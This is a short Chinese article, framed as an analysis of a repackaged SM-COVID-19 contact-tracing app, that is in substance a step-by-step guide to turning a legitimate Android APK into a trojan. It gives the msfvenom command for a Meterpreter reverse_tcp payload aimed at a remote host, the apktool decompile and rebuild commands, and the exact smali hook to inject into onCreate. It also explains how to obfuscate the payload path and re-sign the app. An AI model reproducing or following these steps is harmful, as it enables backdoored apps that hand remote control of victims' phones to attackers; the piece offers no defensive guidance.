安卓木马分析:被感染的SM-COVID-19应用
SM-COVID-19是意大利公司SoftMining开发的APP,用于追踪病毒的接触轨迹。该应用被恶意软件开发者重打包,嵌入了MSF(Metasploit Framework 渗透测试框架)的Meterpreter后门。
攻击概述
攻击步骤
-
确定良性的载荷APK(SM-COVID-19)
-
使用MSF的
msfvenom
工具生成恶意负载APK(Metasploit APK)$ msfvenom -p android/meterpreter/reverse_tcp LHOST=<url> # Remote Server IP
-
反编译载荷APK和负载APK
$ apktool d xxx.apk # use Apktool to decompile
-
将Metasploit APK中Meterpreter的smali代码复制到载荷APK的smali目录下
-
增加触发恶意代码的方法,即注入钩子(Hook)。例如,在入口点(即
AndroidManifest.xml
中包含intent-filter<action android:name="android.intent.action.MAIN"/>
的activity)的smali代码中定位onCreate()
方法,并在方法的起始位置添加一行smali代码:invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
注:若要混淆
com/metasploit/stage/Payload
,还需修改Payload
目录下所有此路径的引用,并改变其自身的目录名。 -
将Metasploit APK的Manifest文件中的
uses-permission
(权限)和uses-feature
(软硬件依赖)等补充到新APK的Manifest文件中 -
打包新的APK
$ apktool b xxx.apk
-
重新签名
$ keytool -genkey -v -keystore <sig>.keystore -alias <sig> # java工具生成自签名keystore $ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore <sig>.keystore xxx.apk <sig> # 使用keystore签名APK